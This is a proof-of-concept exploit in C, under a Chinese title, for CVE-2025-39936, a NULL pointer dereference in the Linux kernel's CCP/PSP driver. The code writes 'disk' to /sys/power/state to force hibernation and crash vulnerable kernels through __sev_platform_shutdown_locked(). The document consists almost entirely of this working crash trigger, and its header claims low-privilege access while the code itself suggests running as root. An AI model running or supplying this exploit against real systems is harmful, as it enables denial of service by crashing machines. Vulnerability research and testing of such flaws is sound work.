CVE-2025-39936：Linux内核CCP驱动NULL指针解引用漏洞

// CVE-2025-39936 PoC - Trigger NULL pointer dereference in CCP driver during hibernate // This PoC triggers the vulnerability by initiating suspend-to-disk operation // which causes the kernel to shutdown CCP devices, triggering the NULL ptr deref. // Note: Requires local access with low privileges and CCP/PSP hardware present // Affected kernel version: Linux 6.17.0-rc4 and earlier (with commit 9770b428b1a2) #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> #define SYS_POWER_STATE "/sys/power/state" int main(int argc, char *argv[]) { int fd; int ret; const char *state = "disk"; // Suspend to disk (hibernate) // Check if /sys/power/state is accessible fd = open(SYS_POWER_STATE, O_RDWR); if (fd < 0) { perror("[-] Failed to open /sys/power/state"); fprintf(stderr, "[!] This PoC requires access to power management interfaces\n"); fprintf(stderr, "[!] Try running as root or with appropriate capabilities\n"); return 1; } printf("[*] CVE-2025-39936 PoC - CCP NULL Pointer Dereference\n"); printf("[*] Triggering suspend-to-disk to invoke device shutdown path...\n"); printf("[*] This will cause kernel oops in __sev_platform_shutdown_locked()\n"); // Write "disk" to /sys/power/state to trigger hibernation // This will cause the kernel to shutdown PCI devices including CCP/PSP // which triggers the vulnerable code path: // kernel_power_off -> hibernate -> device_shutdown -> pci_device_shutdown // -> sp_destroy -> psp_dev_destroy -> sev_dev_destroy // -> __sev_firmware_shutdown -> __sev_platform_shutdown_locked (NULL deref!) ret = write(fd, state, strlen(state)); if (ret < 0) { perror("[-] Failed to write to /sys/power/state"); close(fd); return 1; } close(fd); printf("[*] Suspend command issued. System should crash if vulnerable.\n"); return 0; }